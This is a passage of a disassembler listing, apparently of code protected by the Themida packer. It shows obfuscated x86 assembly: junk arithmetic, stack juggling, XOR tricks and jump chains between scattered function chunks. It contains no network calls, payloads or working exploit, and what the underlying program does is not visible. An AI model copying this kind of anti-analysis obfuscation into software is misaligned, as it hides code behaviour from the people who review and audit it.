; FUNCTION CHUNK AT 00550B13 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005510E0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005512C4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00552384 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005526AA SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0055294A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00552F85 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00553274 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005534BF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00553729 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055385A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00553A60 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00553B05 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 005543EB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055538F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005559CD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00557FAC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055818C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055856F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00558BB4 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00559384 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00559E79 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055A32A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055B790 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055B7CE SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0055BB7E SIZE 00000063 BYTES
; FUNCTION CHUNK AT 0055BC44 SIZE 00000021 BYTES

		sub	esp, 2
		jmp	loc_5512C4
sub_552B74	endp

; ---------------------------------------------------------------------------


loc_552B7F:				; CODE XREF: Themida_:0055634Aj
		sub	eax, ebp
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	ebx, 2B715068h
		mov	edx, ebx
		pop	ebx
		sub	eax, edx
		jmp	loc_555DC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552B97:				; CODE XREF: sub_556A70+3108j
		xor	edx, 5B06441Bh
		xor	ebp, edx
		jmp	loc_552944
; ---------------------------------------------------------------------------


loc_552BA4:				; CODE XREF: sub_556A70-1768j
		neg	ebp
		add	ebp, 57A136C1h
		jmp	loc_55B464
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_552BB1:				; CODE XREF: Themida_:00555DCDj
		sub	eax, 5FE01CD6h
		jmp	loc_5522CF
; ---------------------------------------------------------------------------


loc_552BBB:				; CODE XREF: Themida_:0055BF53j
		xor	edi, esi
		pop	esi
		add	eax, edi
		jmp	loc_55472E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552BC5:				; CODE XREF: sub_556A70-3F62j
		pop	esp
		push	eax
		mov	ah, 0ACh
		shl	ah, 3
		push	ecx
		jmp	loc_5513EB
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_552BD2:				; CODE XREF: Themida_:00553897j
		sub	esi, edx
		pop	edx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		jmp	loc_556292
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552BE2:				; CODE XREF: sub_556A70+4267j
		mov	[esp+0], edx
		jmp	sub_5584F8
; ---------------------------------------------------------------------------


loc_552BEA:				; CODE XREF: sub_556A70-129Cj
		pop	dword ptr [esp+0]
		xchg	ebx, ecx
		not	ebx
		xchg	ebx, ecx
		jmp	loc_5553A3
; ---------------------------------------------------------------------------


loc_552BF8:				; CODE XREF: sub_556A70-1F7Ej
		mov	al, 0A3h
		jmp	sub_55AE6E
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557FA0


loc_552BFF:				; CODE XREF: sub_557FA0+7j
		push	ecx
		mov	ecx, 65693F17h
		and	ecx, 1AFB36B2h
		jmp	sub_55319E
; END OF FUNCTION CHUNK	FOR sub_557FA0
; ---------------------------------------------------------------------------


loc_552C10:				; CODE XREF: Themida_:00553D3Dj
		xor	eax, ebx
		pop	ebx
		push	5C9Ch
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_555EB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552C28:				; CODE XREF: sub_556A70+B0Cj
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xor	edx, [esp-4+arg_0]
		xor	[esp-4+arg_0], edx
		jmp	loc_55AB5A
; ---------------------------------------------------------------------------


loc_552C41:				; CODE XREF: sub_556A70-CD7j
		add	al, ch
		mov	ecx, [esp-4+arg_0]
		push	ebp
		jmp	loc_558E19
; ---------------------------------------------------------------------------


loc_552C4C:				; CODE XREF: sub_556A70-3D1Ej
		add	edx, 4
		xchg	edx, [esp+0]
		jmp	loc_556CC7
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_550F53


loc_552C5A:				; CODE XREF: sub_550F53+6j
		push	edi
		mov	edi, 73694DE5h
		not	edi
		push	ebx
		mov	ebx, 4EFC72D2h
		shr	ebx, 1
		xor	ebx, 3AC57463h
		and	ebx, 1C936D20h
		add	ebx, 122F0E7Dh
		jmp	loc_5583A0
; END OF FUNCTION CHUNK	FOR sub_550F53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552C81:				; CODE XREF: sub_556A70+740j
		mov	[esp+0], eax
		xchg	eax, [esp+0]
		not	eax
		jmp	loc_559D72
; ---------------------------------------------------------------------------


loc_552C8E:				; CODE XREF: sub_556A70-2F15j
		add	eax, 7ED5452Dh
		add	eax, 6F796FCBh
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		push	ebp
		push	[esp+8+var_4]
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		pop	[esp+8+var_8]
		pop	esp
		jmp	loc_559719
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_552CBE:				; CODE XREF: Themida_:00550C94j
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_55BD18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552CD8:				; CODE XREF: sub_556A70-4003j
		add	esp, 4
		jmp	sub_559B2A
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_552CE0:				; CODE XREF: Themida_:005515EAj
		pop	ebx
		push	ebx
		mov	ebx, 2
		sub	ecx, 1CDF1C16h
		jmp	loc_554459
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552CF2:				; CODE XREF: sub_556A70-1650j
		mov	[esp+0], esi
		push	esp
		pop	esi
		add	esi, 4
		push	4D1Eh
		jmp	loc_559AFE
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_552D07:				; CODE XREF: Themida_:0055CA70j
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	cx
		mov	cl, 7Bh
		sub	bl, 0EAh
		sub	bl, cl
		add	bl, 0EAh
		jmp	loc_5514CB
; ---------------------------------------------------------------------------


loc_552D1D:				; CODE XREF: Themida_:0055320Fj
		push	eax
		jmp	loc_550B48
; ---------------------------------------------------------------------------


loc_552D23:				; CODE XREF: Themida_:00554BC4j
		mov	ecx, esi
		mov	edx, ecx
		pop	ecx
		pop	esi
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 2
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		mov	esp, [esp]
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552D4C:				; CODE XREF: sub_556A70-55BAj
		add	edx, 4
		jmp	loc_552C4C
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_552D57:				; CODE XREF: Themida_:00557CDEj
		add	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_557E0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552D69:				; CODE XREF: sub_556A70+8F3j
		inc	ecx
		inc	ecx
		not	ecx
		and	ecx, 5E895096h
		dec	ecx
		add	ecx, 111B7DDDh
		jmp	loc_551C34
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_552D7F:				; CODE XREF: Themida_:0055157Dj
		push	eax
		mov	ah, 0B9h
		mov	cl, 65h
		sub	cl, ah
		pop	eax
		push	edx
		jmp	loc_554327
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5567EA


loc_552D8D:				; CODE XREF: sub_5567EA-53C9j
		xor	ecx, 6F8D382Fh
		or	edx, ecx
		pop	ecx
		jmp	loc_5523F7
; END OF FUNCTION CHUNK	FOR sub_5567EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5566B9


loc_552D9B:				; CODE XREF: sub_5566B9+2F51j
		add	esp, 4
		push	2C93h
		mov	[esp+10h+var_10], esi
		mov	esi, 4
		add	ebx, esi
		mov	esi, [esp+10h+var_10]
		jmp	loc_55B2E5
; END OF FUNCTION CHUNK	FOR sub_5566B9
; ---------------------------------------------------------------------------


loc_552DB5:				; CODE XREF: Themida_:00554C0Aj
		pop	edi
		push	6390h
		mov	[esp], edx
		push	2
		pop	edx
		jmp	loc_551A31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552DC9:				; CODE XREF: sub_556A70-3882j
		push	387Fh
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		jmp	loc_554605
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_552DD8:				; CODE XREF: Themida_:00556629j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	5EC3h
		mov	[esp], edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		push	ebx
		mov	ebx, 551F1A65h
		jmp	loc_558048
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A748


loc_552DFE:				; CODE XREF: sub_55A748-4790j
		push	66D5h
		mov	[esp+4+var_4], edx
		push	ebx
		push	eax
		mov	ah, 0Ch
		jmp	loc_559335
; END OF FUNCTION CHUNK	FOR sub_55A748
; ---------------------------------------------------------------------------


loc_552E0F:				; CODE XREF: Themida_:0055BCE7j
		neg	bl
		add	bl, 84h
		xor	bl, 2Bh
		xor	al, bl
		pop	ebx
		shr	al, 3
		and	al, 7
		jmp	loc_557F31

; =============== S U B	R O U T	I N E =======================================



sub_552E24	proc near		; CODE XREF: sub_556A70-412Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00550ED1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00552191 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055524D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00556572 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005596FF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00559C8D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055B0C8 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055BAE0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0055CB2B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055CD39 SIZE 0000000B BYTES

		push	ebx
		jmp	loc_55CB2B
sub_552E24	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552E2A:				; CODE XREF: sub_556A70-23E9j
		xchg	ebx, [esp+4+var_4]
		jmp	loc_55313D
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_552E32:				; CODE XREF: Themida_:00552A44j
		mov	edx, 2F235685h
		add	eax, edx
		jmp	loc_552A0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552E3E:				; CODE XREF: sub_556A70-2900j
		mov	ecx, 67C04373h
		jmp	sub_552FCD
; ---------------------------------------------------------------------------


loc_552E48:				; CODE XREF: sub_556A70-59Bj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5521BC
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 45A9BE86h
		sub	eax, ebp
		mov	ebp, [esp]
		jmp	loc_5540B2
; ---------------------------------------------------------------------------


loc_552E70:				; CODE XREF: Themida_:005548A9j
		pop	edi
		and	edi, 474513C6h
		and	edi, 46CA0359h
		push	ecx
		mov	ecx, 5E9B45D9h
		sub	ecx, 263F38D2h
		xor	ecx, 1630124h
		not	ecx
		jmp	loc_559C94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_550E2C


loc_552E96:				; CODE XREF: sub_550E2C+7167j
		shr	esi, 7
		xor	esi, 38BB3A70h
		sub	esi, 348724F7h
		add	edx, esi
		pop	esi
		jmp	loc_55A1F2
; END OF FUNCTION CHUNK	FOR sub_550E2C
; ---------------------------------------------------------------------------


loc_552EAD:				; CODE XREF: Themida_:00557DA5j
		add	edx, ecx
		pop	ecx
		sub	esi, edx
		pop	edx
		push	790Ah
		mov	[esp], edi
		jmp	loc_5590D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552EC0:				; CODE XREF: sub_556A70+56C6j
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 0A3F4F5Ch
		sub	ebx, 2419160Eh
		not	ebx
		not	ebx
		add	ebx, 5D2023A2h
		jmp	loc_550C99
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_552EDE:				; CODE XREF: Themida_:0055A33Cj
		mov	ebx, [esp]
		add	esp, 4
		add	bl, 0A6h
		add	bl, 2
		jmp	loc_55421D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552EF2:				; CODE XREF: sub_556A70-5E25j
		push	4522h
		jmp	loc_556982
; ---------------------------------------------------------------------------


loc_552EFC:				; CODE XREF: sub_556A70-556Ej
		shr	edx, 1
		cmp	eax, edx
		jz	loc_550F2B
		push	7F9Ch
		mov	[esp-4+arg_0], eax
		mov	eax, 7D686A1Eh
		or	eax, 304A61EBh
		neg	eax
		not	eax
		push	edx
		push	ecx
		mov	ecx, 15C5106Fh
		add	ecx, 29B13369h
		mov	edx, ecx
		jmp	loc_55C1A7
; ---------------------------------------------------------------------------


loc_552F30:				; CODE XREF: sub_556A70+3AEBj
		add	ebp, eax
		jmp	loc_55A88C
; ---------------------------------------------------------------------------


loc_552F37:				; CODE XREF: sub_556A70+3337j
		pop	edx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		mov	[esp+0], edi
		mov	edi, 1CE73B07h
		jmp	loc_556246
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABA3


loc_552F51:				; CODE XREF: sub_55ABA3-9EBCj
		mov	ebx, ebp
		jmp	loc_55773B
; END OF FUNCTION CHUNK	FOR sub_55ABA3
; ---------------------------------------------------------------------------


loc_552F58:				; CODE XREF: Themida_:0055CB64j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_55C594
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552F68:				; CODE XREF: sub_556A70+4F22j
		mov	[esp+0], ebp
		jmp	loc_55A73B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_552F70:				; CODE XREF: Themida_:00555575j
		mov	[esp], ebp
		mov	ebp, 34F9668Fh
		jmp	loc_559ADF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552F7D:				; CODE XREF: sub_556A70-48A3j
		pop	[esp+0Ch+var_C]
		jmp	loc_553CEE
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_552F85:				; CODE XREF: sub_552B74+94Fj
		add	esi, 4
		add	esi, 4
		jmp	loc_5543EB
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552F96:				; CODE XREF: sub_556A70+3F50j
		shl	edi, 8
		and	edi, 1317F0Ah
		add	edi, 0FFEEE504h
		mov	ebx, edi
		pop	edi
		jmp	loc_5576B5
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CC90


loc_552FAD:				; CODE XREF: sub_55CC90-68A4j
		pop	eax
		add	eax, 4
		jmp	loc_5510C9
; END OF FUNCTION CHUNK	FOR sub_55CC90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553B16


loc_552FB8:				; CODE XREF: sub_553B16+6D60j
		pop	eax
		not	eax
		xchg	eax, edx
		shr	edx, 5
		not	edx
		jmp	loc_559414
; END OF FUNCTION CHUNK	FOR sub_553B16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558D0E


loc_552FC6:				; CODE XREF: sub_558D0E-79CDj
		mov	edi, ebx
		jmp	loc_55848B
; END OF FUNCTION CHUNK	FOR sub_558D0E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_552FCD	proc near		; CODE XREF: sub_556A70-3C2Dj
		push	ebp
		mov	ebp, esp
		jmp	loc_557094
sub_552FCD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552FD5:				; CODE XREF: sub_556A70-1B04j
		sub	[esp+4+var_4], 406078F5h
		push	eax
		jmp	loc_5545FE
; ---------------------------------------------------------------------------


loc_552FE2:				; CODE XREF: sub_556A70+1624j
		pop	esp
		mov	word ptr [esp+4+var_4],	cx
		jmp	loc_55894C
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_550B3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552FFA:				; CODE XREF: sub_556A70-27A9j
		mov	edx, 32DB6845h
		xor	edx, 4C074104h
		and	edx, 31EF0CCEh
		jmp	loc_559297
; ---------------------------------------------------------------------------


loc_553010:				; CODE XREF: sub_556A70-59D0j
		push	[esp+10h+var_10]
		pop	edi
		jmp	loc_554084
; ---------------------------------------------------------------------------


loc_553019:				; CODE XREF: sub_556A70+DD4j
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_55301E:				; CODE XREF: sub_556A70-5CB3j
		mov	edx, 4
		sub	eax, edx
		pop	edx
		jmp	loc_5531DB
; ---------------------------------------------------------------------------


loc_55302B:				; CODE XREF: sub_556A70+297Aj
		push	eax
		mov	eax, 0C8E7D79h
		mov	edi, 18B03AD8h
		xor	edi, 34F26EC2h
		shl	edi, 8
		not	edi
		add	edi, 7DBDA39Fh
		add	edi, eax
		push	dword ptr [esp+0]
		jmp	loc_551DBA
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_553051:				; CODE XREF: Themida_:0055C595j
		push	esi
		push	edi
		mov	edi, 7097409Eh
		add	edi, 24C857C0h
		push	ebx
		mov	ebx, 62DC47EDh
		jmp	loc_556531
; ---------------------------------------------------------------------------


loc_553069:				; CODE XREF: Themida_:0055536Bj
		xchg	eax, [esp]
		pop	esp
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_55BF3B
; ---------------------------------------------------------------------------


loc_553077:				; CODE XREF: Themida_:00552A83j
		add	esp, 4
		jmp	loc_556468
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553082:				; CODE XREF: sub_556A70-CAFj
		push	edx
		push	edi
		jmp	loc_55BC90
; ---------------------------------------------------------------------------


loc_553089:				; CODE XREF: sub_556A70-140Ej
		xor	[esp+0Ch+var_C], edi
		xor	edi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		push	[esp+0Ch+var_C]
		push	[esp+10h+var_10]
		pop	eax
		jmp	loc_558CB2
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55309E:				; CODE XREF: Themida_:005599F8j
		sub	dh, cl
		pop	ecx
		jmp	loc_551C3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5547A1


loc_5530A6:				; CODE XREF: sub_5547A1-315Fj
		add	esi, 4
		xor	esi, [esp+0]
		xor	[esp+0], esi
		jmp	loc_556F6D
; END OF FUNCTION CHUNK	FOR sub_5547A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5530B7:				; CODE XREF: sub_556A70+2C62j
		pop	esp
		push	[esp+0Ch+var_C]
		push	[esp+10h+var_10]
		jmp	loc_55C434
; ---------------------------------------------------------------------------


loc_5530C3:				; CODE XREF: sub_556A70-3Dj
		dec	edi
		jmp	loc_55AEFF
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5530C9:				; CODE XREF: Themida_:00553597j
		push	eax
		jmp	loc_5524F7
; ---------------------------------------------------------------------------


loc_5530CF:				; CODE XREF: Themida_:00557E7Fj
		add	esp, 4
		add	ebx, 0D053B646h
		add	edx, ebx
		pop	ebx
		jmp	loc_556D25
; ---------------------------------------------------------------------------


loc_5530E3:				; CODE XREF: Themida_:005545ACj
		mov	edi, 0AABE9245h
		xor	ecx, edi
		jmp	loc_554FD6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5530EF	proc near		; CODE XREF: sub_556A70-4788j
		push	ebp
		mov	ebp, esp
		jmp	loc_5571DB
sub_5530EF	endp

; ---------------------------------------------------------------------------
		neg	word ptr [esp]
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553101:				; CODE XREF: sub_556A70+12DDj
		pop	eax
		sub	ebp, 69EA5388h
		add	ebp, ebx
		jmp	sub_5563FF
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------

locret_55310F:				; CODE XREF: Themida_:0055C80Cj
		retn
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_558ECD
; ---------------------------------------------------------------------------


loc_553118:				; CODE XREF: Themida_:0055572Bj
		add	eax, 3D3B6881h
		push	659Bh
		jmp	loc_55348A
; ---------------------------------------------------------------------------


loc_553127:				; CODE XREF: Themida_:00554F9Fj
		inc	eax
		sub	eax, 21500403h
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_551C29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55313D:				; CODE XREF: sub_556A70-3C43j
		pop	esp
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_557EE7
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55315A:				; CODE XREF: Themida_:00550E4Dj
		xor	edi, [esp]
		jmp	loc_552351
; ---------------------------------------------------------------------------


loc_553162:				; CODE XREF: Themida_:005592FCj
		mov	edi, 0CDDAC886h
		sub	ebx, edi
		pop	edi
		mov	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	ecx, ebx
		jmp	loc_554066
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55317D:				; CODE XREF: sub_556A70+5419j
		add	esp, 4
		xor	al, ch
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		sub	bl, 3Eh
		add	bl, 0BFh
		push	edx
		mov	dl, 16h
		neg	dl
		push	ebx
		mov	bh, 0B8h
		jmp	loc_5529D5
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_55319E	proc near		; CODE XREF: sub_557FA0-5395j

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005532FF SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005534B1 SIZE 0000000E BYTES

		push	ebp
		mov	ebp, 1A6B67B6h
		jmp	loc_5534B1
sub_55319E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5531A9:				; CODE XREF: Themida_:005519C4j
		not	ebp
		push	ecx
		mov	ecx, 2A09ECh
		sub	ebp, ecx
		pop	ecx
		add	esi, 7DEB5505h
		add	esi, ebp
		sub	esi, 7DEB5505h
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_557252
; ---------------------------------------------------------------------------


loc_5531CD:				; CODE XREF: Themida_:00551473j
		add	[esp+4], ecx
		pop	ecx
		pop	eax
		sub	esp, 4
		jmp	loc_5569FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5531DB:				; CODE XREF: sub_556A70-3A4Aj
		push	eax
		push	[esp+arg_0]
		pop	eax
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		mov	[esp-4+arg_0], ebx
		push	[esp-4+arg_0]
		pop	eax
		jmp	loc_552DC9
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5531F3:				; CODE XREF: Themida_:0055C9A2j
		shr	dh, 3
		push	cx
		mov	ch, 0F0h
		jmp	loc_553AA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5566B9


loc_5531FF:				; CODE XREF: sub_5566B9+4B49j
		add	esp, 4
		push	[esp+0Ch+var_C]
		pop	ebp
		jmp	loc_55714E
; END OF FUNCTION CHUNK	FOR sub_5566B9
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_552D1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5599E2


loc_553214:				; CODE XREF: sub_5599E2+3j
		mov	[esp+4+var_4], edx
		push	7AFA6C43h
		pop	edx
		push	ecx
		mov	ecx, 6D317BE3h
		and	ecx, 3CF03438h
		or	ecx, 5EB9070Ch
		or	ecx, 5A146DBh
		not	ecx
		add	ecx, 1
		sub	ecx, 2F383BC7h
		add	edx, ecx
		jmp	loc_555E6E
; END OF FUNCTION CHUNK	FOR sub_5599E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55324A:				; CODE XREF: sub_556A70-5827j
		sub	edi, edx
		pop	edx
		mov	ebx, edi
		mov	edi, [esp-16h+arg_10+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-12h+arg_C+2]
		pop	esp
		xor	ebx, edx
		jmp	loc_550BBB
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_553269:				; CODE XREF: Themida_:00551D39j
		and	edi, 58440848h
		jmp	loc_558080
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_553274:				; CODE XREF: sub_552B74+8C1Ej
		pop	edx
		jmp	loc_558BB4
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55327A:				; CODE XREF: sub_556A70+42C3j
		dec	edi
		jmp	loc_553759
; ---------------------------------------------------------------------------


loc_553280:				; CODE XREF: sub_556A70-162Cj
		pop	esi
		mov	eax, [esp-1Ah+arg_14+2]
		add	esp, 4
		add	edx, 4D013875h
		or	edx, 75C076F2h
		shl	edx, 7
		push	esi
		mov	esi, 4DF355FFh
		jmp	loc_5562DE
; ---------------------------------------------------------------------------


loc_5532A4:				; CODE XREF: sub_556A70+5F92j
		pop	esp
		push	[esp-1Eh+arg_18+2]
		pop	eax
		jmp	loc_55187A
; ---------------------------------------------------------------------------


loc_5532AE:				; CODE XREF: sub_556A70-13DFj
		pop	ebx
		sub	ebx, 76607069h
		mov	ebp, [esp-22h+arg_1C+2]
		jmp	loc_551767
; ---------------------------------------------------------------------------


loc_5532BD:				; CODE XREF: sub_556A70-46Fj
		mov	[esp-22h+arg_1C+2], ecx
		push	edi
		jmp	loc_5529CF
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AA5F


loc_5532C6:				; CODE XREF: sub_55AA5F-7F46j
		or	ecx, ebx
		pop	ebx
		xchg	esi, ecx
		not	esi
		xchg	esi, ecx
		inc	ecx
		and	ecx, 1DC92CFFh
		jmp	loc_550B76
; END OF FUNCTION CHUNK	FOR sub_55AA5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


